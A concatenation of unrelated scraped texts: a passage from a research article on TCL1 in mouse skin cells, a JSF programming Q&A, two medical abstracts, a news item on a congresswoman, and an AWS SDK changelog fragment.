m_atmPathway [ATM Signaling Pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_atmPathway) 10 0.15562 0.02225 0.105 (+)
m_igf1Pathway [IGF-1 Signaling Pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_igf1Pathway) 11 0.23682 0.48638 \< 0.005 (-)
m_fasPathway [FAS signaling pathway (CD95)](http://cgap.nci.nih.gov/Pathways/BioCarta/m_fasPathway) 8 0.25341 0.27857 \< 0.005 (+)
m_tgfbPathway [TGF beta signaling pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_tgfbPathway) 7 0.43 0.09677 \< 0.005 (+)
10.1371/journal.pone.0204775.t003
###### Genes of [S6 Table](#pone.0204775.s006){ref-type="supplementary-material"}, with relations between *Tcl1-/-* and *K14-TCL1* are subdivided as pathways.
{#pone.0204775.t003g}
Biocarta Pathway Pathway description Number of genes LS permutation p-value KS permutation p-value Efron-Tibshirani\'s GSA test p-value
------------------ ------------------------------------------------------------------------------------------------------------- ----------------- ------------------------ ------------------------ --------------------------------------
m_pdgfPathway [PDGF Signaling Pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_pdgfPathway) 13 0.01738 0.06222 0.24 (-)
m_egfPathway [EGF Signaling Pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_egfPathway) 13 0.01881 0.06222 0.235 (-)
m_insulinPathway [Insulin Signaling Pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_insulinPathway) 10 0.04619 0.07895 0.14 (-)
m_igf1Pathway [IGF-1 Signaling Pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_igf1Pathway) 11 0.05016 0.04466 0.21 (-)
m_wntPathway [WNT Signaling Pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_wntPathway) 8 0.06155 0.0295 0.05 (+)
m_g2Pathway [Cell Cycle: G2/M Checkpoint](http://cgap.nci.nih.gov/Pathways/BioCarta/m_g2Pathway) 9 0.08182 0.01766 0.49 (+)
m_akap95Pathway [AKAP95 role in mitosis and chromosome dynamics](http://cgap.nci.nih.gov/Pathways/BioCarta/m_akap95Pathway) 5 0.0887 0.00149 0.47 (+)
m_cd40Pathway [CD40L Signaling Pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_cd40Pathway) 5 0.11107 0.02473 0.14 (-)
m_aktPathway [AKT Signaling Pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_aktPathway) 6 0.19848 0.00206 0.06 (+)
m_erkPathway [Erk1/Erk2 Mapk Signaling pathway](http://cgap.nci.nih.gov/Pathways/BioCarta/m_erkPathway) 6 0.29669 0.04846 0.39 (+)
These data strongly confirm, by a molecular point of view, the functional defects observed in the *Tcl1-/-* and rescued in the K14-TCL1 mouse *in vivo* \[[@pone.0204775.ref001]\] and indicate the growth factor and MAPK signaling among the major molecular deregulations due to *Tcl1a* loss.
*Tcl1a* loss affects the progenitor cell number and the proliferation rate of murine keratinocytes {#sec018}
--------------------------------------------------------------------------------------------------
Previously, we found a lack of TA proliferating cells and a progressive loss of CD34+ SCs in the hair follicles \[[@pone.0204775.ref001]\]. Taking advantage of the gene expression data described above, we examined the progenitor cell number in primary KCs isolated from *Tcl1-/-* and from *K14-TCL1* mice compared to WT, through colony-forming efficiency (CFE) analysis ([Fig 2A](#pone.0204775.g002){ref-type="fig"}). Soon after isolation (p0), *Tcl1-/-* KCs gave rise to 49%~+/-18~ and 58%~+/-22~ total number of colonies when compared to WT and *K14-TCL1* cells, respectively, although these differences were not significant. The differences became striking at the first passage (p1) as *Tcl1-/-* colonies became 12%~+/-5~ and 15%~+/-7~ of the WT and *K14-TCL1*, respectively. Indeed, *Tcl1-/-* KCs showed no or little variations in their CFE where WT and *K14-TCL1* showed their peak. At p2, the difference in CFE between TCL1-null and TCL1-expressing cells was decreased but still significant (34%~+/-6~ and 25%~+/-4~ of WT and K14-TCL1, respectively). Thereafter, CFE values from the three different types of cells tend to 0 in a similar way (CFE assay has been performed until p10, not shown).
{#pone.0204775.g002}
In addition, we analyzed KC growth rate in the three genotypes ([Fig 2B](#pone.0204775.g002){ref-type="fig"}). At p1 passage, KCs were cultured in basal or complete medium for 24 hours. In basal medium, cells from *Tcl1-/-* mice grew less than the WT ones (0.53~+/-0.02~-fold change, *P*\<0.005), while in *K14-TCL1* cells the defect was less severe (0.73~+/-0.18~-fold change, not significant). When KCs were cultured in complete medium, WT cells about doubled their proliferation rate, as well as *K14-TCL1* ones (1.92~+/-0.13~- and 2.18~+/-0.14~-fold change, respectively), while *Tcl1-/-* cells showed a significant lower increase (1.31~+/-0.17~-fold change) ([Fig 2B](#pone.0204775.g002){ref-type="fig"}). Our GEP data showed that the IGF1 pathway is one of the most altered in *Tcl1-/-* mice with respect to WT ([Table 1](#pone.0204775.t001){ref-type="table"}). Since, IGF1 is known to regulate epidermal proliferation \[[@pone.0204775.ref029], [@pone.0204775.ref030]\] we tested its ability to stimulate KCs with respect to basal medium condition. We found a similar proliferation increment in WT and *K14*-*TCL1* cells (1.62~+/-0.06~- and 1.4~+/-0.07~-fold change, respectively) while *Tcl1-/-* cells were completely unresponsive (1.04~+/-0.02~-fold change).
Taken together, these results confirm an important role for TCL1 in maintaining KC progenitor cells and its requirement as a proliferative factor, particularly when acting through the IGF1 pathway.
The expression of differentiation markers is altered in *Tcl1a* mouse models {#sec019}
----------------------------------------------------------------------------
Our GO analysis showed that modulation of *Tcl1a* expression has consequences in KCs differentiation. Hence, we examined the pattern of expression of differentiation markers that identify upper epidermal layers (spinous and granular) ([Fig 3A--3C](#pone.0204775.g003){ref-type="fig"}). Cytokeratin 6 (KRT6) is considered as an activation marker for KCs \[[@pone.0204775.ref031], [@pone.0204775.ref032]\] and is one of the most differentially expressed gene in our GEP analysis ([S3](#pone.0204775.s003){ref-type="supplementary-material"}--[S6](#pone.0204775.s006){ref-type="supplementary-material"} Tables). Accordingly, KRT6 immunofluorescence in 3-day post-depilation (3dpd) skin samples shows localized expression in epidermis surrounding hair follicles in WT mice, while only few scattered cells express KRT6 in *Tcl1-/-* mice. Interestingly, *K14-TCL1* mice show strong and diffuse KRT6 immunoreactivity, in all the epidermis ([Fig 3A](#pone.0204775.g003){ref-type="fig"}). WB analysis of epidermal sheet samples 3dpd, confirmed the expression of KRT6 to be dramatically reduced in *Tcl1-/-* mice and highly overexpressed in *K14-TCL1* with respect to WT mice (0.36- and 8-fold change, respectively, [Fig 3C](#pone.0204775.g003){ref-type="fig"}). Cytokeratin 10 (KRT10) is one of the first differentiation marker to be expressed by post-mitotic cells in spinous layer and it has a role in proliferation control \[[@pone.0204775.ref033]\]. Immunofluorescence confirmed supra-basal expression of KRT10 in all three genotypes ([Fig 3B](#pone.0204775.g003){ref-type="fig"}). In this case, WB analysis showed both *Tcl1-/-* and *K14-TCL1* mice to have more than 2-fold change in KRT10 expression with respect to WT mice (2.8- and 2.2-fold, respectively) ([Fig 3C](#pone.0204775.g003){ref-type="fig"}). FLG and IVL are terminal differentiation markers of granular layer, but are regulated in an opposite way in *Tcl1a* mouse models. WB experiments showed that FLG is more expressed in *K14-TCL1* mice (3-fold) and less in *Tcl1-/-* mice (0.4-fold), when compared to WT; conversely, IVL is augmented in *Tcl1-/-* KCs (4-fold), while it is almost undetectable in *K14-TCL1* ones (0.12-fold) ([Fig 3C](#pone.0204775.g003){ref-type="fig"}). Overall, these data demonstrate that TCL1 is profoundly involved in the regulation of both early and terminal KC differentiation programs.
{#pone.0204775.g003}
Finally, we previously observed that basal KCs in the epidermis of *Tcl1-/-* mice aberrantly co-express proliferation and apoptosis markers *in vivo* \[[@pone.0204775.ref001]\]. Moreover, there are evidences for TCL1 anti-apoptotic effect through the decrease of PARP1 cleavage in humans \[[@pone.0204775.ref025]\]. Consistently with this function, by WB experiments in 3dpd epidermis, we found that the percentage of PARP1 cleavage in *Tcl1-/-* is higher than in WT (63% and 35%, respectively), while in *K14-TCL1* it is comparable to WT (38%) ([Fig 3D](#pone.0204775.g003){ref-type="fig"}). Similar results were obtained analyzing Caspase 3 cleavage (69%, 33% and 37%, respectively). Hence, these experiments confirm the anti-apoptotic role of TCL1 in murine KCs.
TCL1 modulation affects the phosphorylation levels of ERK1/2, SAPK/JNK and P38 MAPK {#sec020}
-----------------------------------------------------------------------------------
Unlike the TCL1 function in the immune system \[[@pone.0204775.ref022]\], when we analyzed AKT activation in mutant and transgenic KCs by kinase assay, we didn't find significant differences with respect to WT (Panel A in [S1 Fig](#pone.0204775.s013){ref-type="supplementary-material"}). Consistently with this result, phosphorylated AKT(Ser473) does not co-localize with TCL1 in WT follicular keratinocytes, analyzed by immunofluorescence (Panel B in [S1 Fig](#pone.0204775.s013){ref-type="supplementary-material"}). Moreover, pathway analysis have not pointed out the AKT signaling among those affected by TCL1 modulation. Rather, our GEP data have highlighted the involvement of MAPKs in response to *Tcl1a* modulation. The MAPK cascade has a central role on the regulation of differentiation and programmed cell death in the epidermis, through the phosphorylation of ERK1/2, SAPK/JNK and P38 \[[@pone.0204775.ref034]\].
Thus, we investigated by WB analysis the phosphorylation rate of ERK1/2, SAPK/JNK and P38 MAPKs in KCs from *Tcl1-/-* and *K14-TCL1* mice, compared to the WT samples ([Fig 4](#pone.0204775.g004){ref-type="fig"}). We found that *Tcl1a* loss increased the P38 phosphorylation rate when compared to WT and *K14-TCL1* mice by 7.2- and 2.8-fold, respectively ([Fig 4A and 4C](#pone.0204775.g004){ref-type="fig"}). On the opposite, the over-expression of *TCL1A* induced a 32-fold increased ERK1/2 ([Fig 4A--4C](#pone.0204775.g004){ref-type="fig"}) and a 2.6-fold increased SAPK/JNK ([Fig 4B and 4C](#pone.0204775.g004){ref-type="fig"}) phosphorylation with respect to WT. Normalized optical density values (OD) of the phosphorylated and entire forms are given in supplement (Panels A, B and C in [S2 Fig](#pone.0204775.s014){ref-type="supplementary-material"}). The graph in [Fig 4C](#pone.0204775.g004){ref-type="fig"} shows the phosphorylation rate for these proteins calculated as the OD ratio of phosphorylated to entire form. These results indicate that in the absence of *Tcl1a*, P38 route is hyper-activated, leaving unaffected ERK1/2 and SAPK/JNK signaling. On the other hand, over-expression of *TCL1A* in the basal KCs partially restores the phosphorylation of P38 to WT levels and enhances the activation of ERK1/2 and SAPK/JNK.
{#pone.0204775.g004}
TCL1 inhibits cFOS expression and its nuclear localization and induces cJUN phosphorylation {#sec021}
-------------------------------------------------------------------------------------------
The activator protein 1 (AP1) transcriptional complex represents one of the main effector of the MAPK signaling cascade in the epidermis \[[@pone.0204775.ref034], [@pone.0204775.ref035]\]. Since our GEP data show 8.4-fold increased *cFos* mRNA in *Tcl1-/-* mice with respect to WT ([S4 Table](#pone.0204775.s004){ref-type="supplementary-material"}), we investigated changes in the main AP1 subunits cFOS and cJUN.
We analyzed the cFOS protein by confocal analysis on 3dpd skin samples from the three genotypes ([Fig 5A](#pone.0204775.g005){ref-type="fig"}). The first evidence is that, accordingly to mRNA data, cFOS expression is enhanced in *Tcl1-/-* when compared to WT, also at the protein level and it is only partially restored in *K14-TCL1* mice. Interestingly, we also found that, in the WT skin, cFOS cellular localization is totally restricted to the cytoplasmic compartment of the basal layer. In the WT panel of [Fig 5A](#pone.0204775.g005){ref-type="fig"} the green fluorescence, representing cFOS staining, is all around the blue fluorescence of the nuclei. Conversely, in the absence of *Tcl1a*, cFOS is strongly localized to the nuclear compartment of the cell visualized as light blue fluorescence in [Fig 5A](#pone.0204775.g005){ref-type="fig"}. In the *K14-TCL1* panel, the cFOS staining pattern is intermediate between WT and Tcl1-/- samples. These data suggest the TCL1-mediated inhibition of cFOS transcriptional activity occurring in human B-CLL \[[@pone.0204775.ref025]\], might be functional in the murine KCs as well. When we analyzed cJUN expression in the skin of the three mouse models, we observed comparable levels of cJUN total protein, which was restricted to the cytoplasm of basal KCs in all samples ([Fig 5B](#pone.0204775.g005){ref-type="fig"}). On the contrary, cJUN phosphorylation was associated with nuclear localization and the number of positive cells was found decreased in *Tcl1-/-* and increased in *K14-TCL1* KCs, when compared to the WT counterpart. To confirm and quantify this difference, we analyzed cJUN phosphorylation rate by WB and we found a 0.7-fold decreased cJUN phosphorylation in *Tcl1-/-* KCs, when compared to the WT ([Fig 5C and 5D](#pone.0204775.g005){ref-type="fig"}). At the same time, over-expression of *TCL1A* leads to a 1.9- and 1.3-fold increased cJUN phosphorylation rate when compared to *Tcl1-/-* and WT, respectively. Normalized OD values of the phosphorylated and entire forms are given in supplement (Panel D in [S2 Fig](#pone.0204775.s014){ref-type="supplementary-material"}). These experiments show that TCL1 takes part in AP1 regulation, by controlling both cFOS localization and cJUN phosphorylation.
{#pone.0204775.g005}
Discussion {#sec022}
==========
Previously we showed that adult *Tcl1-/-* mice developed skin defects due to dramatic reduction of CD34 stem cell marker and proliferating TA cells in the hair follicle, as well as dysregulated proliferation/differentiation/apoptosis program in the interfollicular epidermis \[[@pone.0204775.ref001]\]. In this work, we finally demonstrated that *Tcl1a* is required for the correct programming and commitment of the epidermal KCs.
The GEP analysis shows that *Tcl1a* loss provokes profound gene expression deregulation in the epidermal tissue. Furthermore, the mouse model carrying the *K14*-driven *TCL1A* gene in a *Tcl1a* null background is more similar to the WT than to the *Tcl1-/-* one, therefore giving a first general statistical confirmation of the previously observed ability of the *K14*-*TCL1* transgenic mouse to rescue the *Tcl1-/-* mutant phenotype. In particular, the expression of 55% of genes deregulated in the *Tcl1-/-* are restored in *K14*-*TCL1* KCs. Among these, 36 genes (39%) are completely rescued at physiologic level or overturned, suggesting a close relationship with TCL1. Interestingly, 29 out of these 36 genes were downregulated in the *Tcl1-/-* KCs, confirming the role for TCL1 as a transcription activator \[[@pone.0204775.ref025]\] also in epidermal cells. On the other hand, the *K14-TCL1* mouse is not able to rescue all the genes affected by the absence of *Tcl1a*, especially those over-expressed, suggesting that the presence of *Tcl1a* is necessary, but not sufficient, for these factors. Another possibility is that the *K14*-driven *TCL1A* is unable to regulate factors acting in supra-basal layers due to its expression limited to basal layer.
At the functional level, the GO analysis pointed out the differentiation and cell division as two functions defective in *Tcl1-/-* KCs, which are rescued in the *K14-TCL1*. In contrast with the T and B cell *TCL1A* transgenic models, overexpression in epidermal KCs did not induce hyper-proliferation, nor did we observe skin tumours formation in the *K14-TCL1* mice \[[@pone.0204775.ref001]\]. This phenotype is in agreement with our GEP data and GO analysis and might be due to a milder activity of the *K14* promoter with respect to the *lck* or *Eμ* ones. Alternatively, the proliferation/survival programs in the KCs might be subjected to a tight control, able to overcome the TCL1A overexpression. Rather, the over-represented genes belong to the response to stimulus and cell motility GO terms, with no evidence for any aberrant phenotype.
*Krt6* is one of the most significant differentially expressed gene found by our GEP analysis. *Krt6* is not constitutively expressed in the skin, but is rapidly induced after injury of the epidermis (e.g. waxing) and is considered a marker of KCs activation both for proliferation and for differentiation \[[@pone.0204775.ref031], [@pone.0204775.ref032]\]. Interestingly, we observed that in 3dpd WT epidermis, KRT6 protein is mainly expressed by basal cells and maintained in some supra-basal cells; in *Tcl1-/-* epidermis, KRT6 expression is dramatically reduced and in *K14-TCL1*, KRT6 is highly expressed in all the layers. Thus, KRT6 expression is strongly dependent from TCL1 regulation, is induced in the basal layer and maintained in supra-basal layers, indicating that KRT6 might be a good candidate, at least in part, for the observed differentiative and/or proliferative phenotypes. Conversely, the supra-basal marker KRT10 is increased in *Tcl1-/-* as well as in *K14-TCL1* mouse, when compared to WT, suggesting to exemplify the above mentioned 'not rescued' over-expressed genes. Yet, the expression of the terminal differentiation markers FLG and IVL are altered in *Tcl1-/-* but rescued in *K14-TCL1* mouse, suggesting that in supra-basal KCs, some differentiation programs might be activated from the basal layer. Apoptosis signaling represents another interesting example of the basal/supra-basal stratification affected by *Tcl1a* loss. In our previous work, we observed proliferative marker coexisting with apoptotic events in basal layer of *Tcl1-/-* mouse, although programmed cell death is normally activated in terminally differentiated layer only. This aberration was rescued by K14-driven *TCL1A* over-expression \[[@pone.0204775.ref001]\]. Here, we showed that the apoptotic factors PARP1 and CASP3 are abnormally activated in *Tcl1-/-* KCs with respect to WT and the K14-*TCL1* expression is sufficient to restore physiologic activation levels, resembling the TCL1 anti-apoptotic effect observed in human CLL \[[@pone.0204775.ref025]\].
Proliferation is another defective function we described in the *Tcl1-/-* skin \[[@pone.0204775.ref001]\], which has been pointed out also in this work by the GO analysis. Accordingly, primary KCs from *Tcl1-/-* mice are almost unable to form colonies or to proliferate when placed in complete media. On the other hand, this phenotype is completely rescued when *TCL1A* is reinserted in basal cells of K14-*TCL1* mouse, mimicking the WT behavior. These experiments confirmed the TCL1A overexpression to induce no hyper-proliferation in KCs. Pathway analysis identified growth factor and MAPK as some of the most significantly pathways altered in the Tcl1-/- KCs. Since IGF1 is known to regulate epidermal proliferation, motility, and progenitor cell behaviour, acting through MAPK-AP1 and/or PI3K-AKT pathways \[[@pone.0204775.ref029], [@pone.0204775.ref030], [@pone.0204775.ref036], [@pone.0204775.ref037]\], we focused on IGF1-induced proliferation. Interestingly, we found a proliferation pattern closely resembling that obtained with serum stimulation, with impaired proliferation of *Tcl1-/-* KCs, which was significantly rescued by K14-TCL1 expression. This finding demonstrates that *Tcl1a* gene is definitely necessary for KCs proliferation both by serum- or IGF1-induction.
Actually, despite the most known TCL1 function is to enhance AKT kinase activity \[[@pone.0204775.ref021], [@pone.0204775.ref023]\], we did not found any difference in the AKT kinase activity between the three mouse models. This finding is consistent with the two-cell embryo model, which showed no differences between the phosphorylated AKT content of *Tcl1-/-* and WT mice \[[@pone.0204775.ref020]\]. Noguchi et al. had proposed that the AKT kinase activity maintained in the *Tcl1a* null mice might be due in part to the presence of five TCL1B family proteins and MTCP1 in the mouse genome \[[@pone.0204775.ref038]\]. Accordingly, we had reported the high level expression of the *Tcl1B2* isoform in the mouse epidermis, especially in the Tcl1-/- one \[[@pone.0204775.ref001]\].
As for IGF1, most of the incoming signals that regulate proliferation, differentiation, and apoptosis in the interfollicular epidermis are shuttled through the three major MAPK cascades ERK1/2, SAPK/JNK, and P38 with several interconnections among the cascades \[[@pone.0204775.ref039]\]. ERK1/2 activation primarily mediates proliferative and survival signals from a range of different surface molecules, including growth factors and cellular adhesion proteins; on the other hand, P38 MAPK-dependent mechanisms are mainly involved in regulating differentiation and apoptosis processes \[[@pone.0204775.ref034], [@pone.0204775.ref040]--[@pone.0204775.ref043]\]. SAPK/JNK is able to regulate proliferation, differentiation, survival and/or migration, thus tuning a variety of processes such as tissue homeostasis, cell metabolism, inflammation and carcinogenesis \[[@pone.0204775.ref044]\]. The relative activities of MAPKs can be evaluated by their phosphorylation rate and here we provide evidences that *Tcl1-/-* mouse shows a hyper-activation of P38 MAPK, which might be responsible for the apoptotic phenotype observed. Additionally, P38 hyper-phosphorylation might account for differentiative disorders such as IVL overexpression \[[@pone.0204775.ref045]\]. On the converse, the overexpression of *TCL1A* by *K14*-driven transgene increases ERK1/2 and SAPK/JNK phosphorylation. That TCL1 may influence ERK1/2 phosphorylation was observed also in B-CLL, where the TCL1-targeting microRNA-181b decreased phospho-ERK1/2 as well \[[@pone.0204775.ref046]\]. Thus, TCL1 could act as a proliferative/pro-survival factor and a differentiation regulator by increasing the phosphorylation on ERK1/2 and SAPK/JNK and maintaining low levels of phospho-P38.
In epidermal KCs, downstream targets of MAPK signalling are primarily represented by AP1 transcription factor, which is composed of homo- or hetero-dimers mainly belonging to the FOS and JUN protein families. MAPKs can both affect AP1 activity, by direct phosphorylation, and by transcriptional activation of the promoters of specific AP1 components. Multiple AP1 family members are expressed in the epidermis and form different dimer pairs, regulating expression of several target genes and controlling KC functions \[[@pone.0204775.ref045], [@pone.0204775.ref047], [@pone.0204775.ref048]\]. It is not by haphazard that by chip analysis we have found, among the most dysregulated genes, several factors participating to the MAPK signaling and, in particular, the AP1 effector *cFos*. Nevertheless, TCL1 has been reported to bind cFOS directly, thus inhibiting apoptosis \[[@pone.0204775.ref025], [@pone.0204775.ref049]\]. Our data are consistent with this observation and we can hypothesize that TCL1 prevents cFOS transcriptional function by sequestering this factor into the cytoplasm, having cFOS mainly nuclear localization in the *Tcl1-/-* epidermal KCs. This phenotype is rescued, although not entirely, in the K14-*TCL1* mice. Moreover, we have shown that phosphorylation of cJUN is reduced in the absence of *Tcl1a* and increased once *TCL1A* has been reintroduced into the KCs. Hence, in mouse KCs TCL1 seems to have a stimulating rather than an inhibitory effect on cJUN activity that was seen in B-CLL by Pekarsky et al. \[[@pone.0204775.ref025]\]. This would be consistent with a role for cJUN in proliferation, differentiation and wound healing, in mouse epidermal cells \[[@pone.0204775.ref050]--[@pone.0204775.ref052]\].
Conclusions {#sec023}
===========
In conclusion, analyzing the effects of altered *Tcl1a* gene expression in knockout or transgenic mouse models, we have demonstrated, for the first time, that TCL1 is a major factor on epidermal KCs\' proliferation, in particular when serum- or IGF1-stimulated. Additionally, *Tcl1a* loss is associated with differentiation disorders and uncontrolled apoptosis. Conversely, overexpression of TCL1A is able to rescue almost completely the mutant defects and do not show any evident aberration. Our data suggest that TCL1 function in KCs is exerted, at least in part, by regulating the MAPK phosphorylation balance between ERK1/2, SAPK/JNK and p38, the phosphorylation rate of cJUN and the cellular localization of cFOS, that means multilevel control of the activity of the MAPK/AP1 axis. Whether the role of TCL1 is due to direct interactions with the MAPK factors above mentioned or with the AP1 subunits, cJUN and cFOS, will be the object of further investigations. Finally, we intend to analyze TCL1 role also in the human hair follicle and epidermis from skin tissues of both healthy donors and patients affected by skin diseases.
Supporting information {#sec024}
======================
###### Real Time PCR primers and FC.
The sequence of forward and reverse primers is reported for the target and housekeeping genes. FC values were calculated as described in M&M section and compared to those obtained by GEP analysis.
(XLSX)
######
Click here for additional data file.
###### List of antibodies used for WB experiments.
The company, catalog number and working dilution for every antibody is reported.
(XLSX)
######
Click here for additional data file.
###### Differentially expressed genes between WT, *Tcl1-/-* and *K14-TCL1* KCs.
Class 1: *Tcl1-/-*; Class 2: *K14-TCL1*; Class 3: WT. The first 271 genes are significant at the nominal 0.001 level of the univariate test The \'Pairwise significant\' column shows pairs of classes with significantly different gene expression at alpha = 0.01. Class labels in a pair are ordered (ascending) by their averaged gene expression. In the last column the "rescued" (light gray), "not rescued" (gray) and "not included" (NI, dark gray) groups are reported.
(XLSX)
######
Click here for additional data file.
###### Differentially expressed genes in *Tcl1-/-* vs WT KCs.
Class 1: *Tcl1-/-*; Class 2: WT. The first 254 genes are significant at the nominal 0.001 level of the univariate test.
(XLSX)
######
Click here for additional data file.
###### Differentially expressed genes in *K14-TCL1* vs WT KCs.
Class 1: *K14-TCL1*; Class 2: WT. The first 223 genes are significant at the nominal 0.001 level of the univariate test.
(XLSX)
######
Click here for additional data file.
###### Differentially expressed genes in Tcl1-/- vs *K14-TCL1* KCs.
Class 1: *Tcl1-/-*; Class 2: *K14-TCL1*. The first 218 genes are significant at the nominal 0.001 level of the univariate test.
(XLSX)
######
Click here for additional data file.
###### GO analysis in Tcl1-/- vs WT KCs.
120 out of 442 investigated gene sets passed the 0.005 significance threshold. LS/KS permutation test found 4 significant gene sets. Efron-Tibshirani\'s maxmean test found 120 significant gene sets (under 200 permutations). Gene sets with at least 80% of either under-expressed or over-expressed genes are highlighted (gray). Class 1: *Tcl1-/-*; Class 2: WT.
(XLSX)
######
Click here for additional data file.
###### GO analysis in *K14-TCL1* vs WT KCs.
69 out of 442 investigated gene sets passed the 0.005 significance threshold. LS/KS permutation test found 2 significant gene sets. Efron-Tibshirani\'s maxmean test found 67 significant gene sets (under 200 permutations). Gene sets with at least 80% of either under-expressed or over-expressed genes are highlighted (gray). Class 1: *K14-TCL1*; Class 2: WT.
(XLSX)
######
Click here for additional data file.
###### GO analysis in Tcl1-/- vs WT KCs.
64 out of 442 investigated gene sets passed the 0.005 significance threshold. LS/KS permutation test found 15 significant gene sets. Efron-Tibshirani\'s maxmean test found 62 significant gene sets (under 200 permutations). Gene sets with at least 80% of either under-expressed or over-expressed genes are highlighted (gray). Class 1: *Tcl1-/-*; Class 2: *K14-TCL1*.
(XLSX)
######
Click here for additional data file.
###### Pathway analysis in Tcl1-/- vs WT KCs.
49 out of 151 investigated gene sets passed the 0.05 significance threshold. LS/KS permutation test found 40 significant gene sets. Efron-Tibshirani\'s maxmean test found 33 significant gene sets (under 200 permutations). Class 1: *Tcl1-/-*; Class 2: WT.
(DOCX)
######
Click here for additional data file.
###### Pathway analysis in *K14-TCL1* vs WT KCs.
44 out of 151 investigated gene sets passed the 0.05 significance threshold. LS/KS permutation test found 34 significant gene sets. Efron-Tibshirani\'s maxmean test found 22 significant gene sets (under 200 permutations). Class 1: *K14-TCL1*; Class 2: WT.
(DOCX)
######
Click here for additional data file.
###### Pathway analysis in Tcl1-/- vs WT KCs.
23 out of 151 investigated gene sets passed the 0.05 significance threshold. LS/KS permutation test found 20 significant gene sets. Efron-Tibshirani\'s maxmean test found 7 significant gene sets (under 200 permutations). Class 1: *Tcl1-/-*; Class 2: *K14-TCL1*.
(DOCX)
######
Click here for additional data file.
###### TCL1 loss- or gain-of-function do not influence AKT activity.
\(A\) Kinase assay was performed on keratinocyte lysates, according to manufacturer's protocol. Graph represents mean OD values and standard error bars of three independent experiments. No differences were observed between the three genotypes. (B) Immunofluorescence for mouse TCL1 protein (red) and phosphorylated AKT(Ser473) (green). Nuclear counterstain is propidium iodide (PI, blue). Merging of red and blue fluorescence represents TCL1 nuclear localization (pink). Magnification: 40X. Images were acquired by confocal laser scanning.
(TIF)
######
Click here for additional data file.
###### Western blot analysis of the MAPKs and cJUN phosphorylation pattern.
WB analysis of phosphorylated (dark gray) and entire (light gray) forms of P38 (A), ERK1/2 (B) SAPK/JNK MAPKs (C) and cJUN (D) on protein extracts from keratinocytes of WT, *Tcl1-/-* and *K14-TCL1* mice. Tubulin alpha (αTUB) was used to normalize protein load. Normalized OD values are graphed as the mean and standard deviation of three independent experiments.
(TIF)
######
Click here for additional data file.
We thank Dr. Monica Napolitano for critically reviewing the manuscript and Dr. Caterina Cattani for the support in mouse keratinocyte isolation and culture. This work was supported by grants from Associazione Italiana Ricerca sul Cancro and Ministero della salute to GR.
[^1]: **Competing Interests:**The authors have declared that no competing interests exist.
|
{
"pile_set_name": "PubMed Central"
}
|
Q:
Show boolean values as icons
I have DataTable with 5 columns. In one column are boolean values – true or false. I would like to show icons instead “true” or “false” literals. How can I show Boolean values as icons?
A:
this is quiet simple.You just use the rendered attribute. Try this code:
<h:column>
<f:facet name="header">Col Name</f:facet>
<h:graphicImage value="../image1.jpg" rendered="#{yourBoolean}" />
<h:graphicImage value="../image2.jpg" rendered="#{!yourBoolean}" />
</h:column>
|
{
"pile_set_name": "StackExchange"
}
|
Exploring assessment for learning during dietetic practice placements.
Practice placement, which contributes to the development of professional skills and competencies, is an important component of dietetic pre-registration education in the UK. The assessment of practice placement impacts on students' experience and progression; however, currently, limited evidence-based information about assessment methods and practice in dietetic placements exists. The present study aimed to investigate the assessment methods and practices utilised when providing pre-registration dietetic practice placements. Using an online questionnaire survey of dietitians within Scottish National Health Service (NHS) dietetic departments, and a follow-on telephone interview with Lead Trainers, the present study explored the assessment methods utilised by dietitians as well as areas of variability within NHS Boards. Data were analysed using descriptive statistics and relationships were assessed using the chi-square test, Kruskall-Wallis test and Spearmans' correlation. One hundred and eleven fully-completed questionnaires were analysed and fourteen departments participated in the follow-on telephone interview. Over 80% respondents had greater than 2 years of involvement in student training. To assess student performance, departments used between 5-16 and 6-16 assessment tools for placements B and C, respectively. Significant correlations between staff training and knowledge of how to apply assessment tools support a need for robust staff training in assessment matters. The majority (87%) of respondents positively favour standardisation of assessment via the development of national assessment tools. The findings obtained in the present study confirm that there is a wide variation in assessment practices by dietitians. The development of standardised assessments and tools within dietetic practice placements, in terms of parity in numbers and methods of assessment, would ensure equity and fairness for students.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
Pigmented villonodular synovitis: an uncommon presentation of anterior hip pain.
Pigmented villonodular synovitis (PVNS) is a rare, benign, idiopathic proliferative disorder of the synovium that results in villous or nodular formation in joints, tendon sheaths, and bursae. The disease can be localized or diffuse. Its estimated prevalence is 1.8 cases per million in the United States. Large joints, such as the knee and hip, are commonly affected. Patients with this condition typically present with symptoms of mild discomfort and associated stiffness of the involved joint; however, the spectrum of presentations is broad. We present a case of an otherwise healthy 40-yr-old man who presented for evaluation of stiffness and pain in the anterior hip. His initial presentation, work-up, and course will be discussed, along with a brief review of the literature.
|
{
"pile_set_name": "PubMed Abstracts"
}
|
Rep. Lummis: ‘We’re Kind Of Disgusted With Ourselves’
Wyoming congresswoman Cynthia Lummis says the unhappiness many people seem to feel toward politicians in general and congress in particular extends to Republicans in the U.S, House.
''The American people are disgusted with us" Rep. Lummis said on Thursday,''And quite frankly, we're kind of disgusted with ourselves'' she added.
Lummis says people are tired of politics and she says that attitude is clearly shown by polls that show Donald Trump, Ben Carson and Carly Fiorina--none of who have ever held elective office--are consistently running ahead of established officeholders in the GOP presidential race.
The congresswoman says she is tired of telling people what Republicans are against and wants to be able to be able to say what the party favors instead.
Many recent national polls are giving congress an approval rating of between 11% and 14%.
Rep. Lummis says the general disapproval of politicians means "we couldn't just move the same people up the food chain in house leadership" when it comes to electing a new speaker of the house to replace outgoing speaker John Boehner (R-Ohio).
The Wyoming Republican says that's one reason why she feels Rep. Paul Ryan (R-Wisc.) should be the next house speaker, adding she thinks he can unify the different factions of her party.
She says the vote on the speakership may happen on Wednesday or Thursday of next week.
|
{
"pile_set_name": "Pile-CC"
}
|
{#sp1 .111}
{#sp2 .112}
|
{
"pile_set_name": "PubMed Central"
}
|
Unreleased Changes
------------------
1.25.0 (2020-09-15)
------------------
* Feature - Code Generated Changes, see `./build_tools` or `aws-sdk-core`'s CHANGELOG.md for details.
1.24.0 (2020-08-25)
------------------
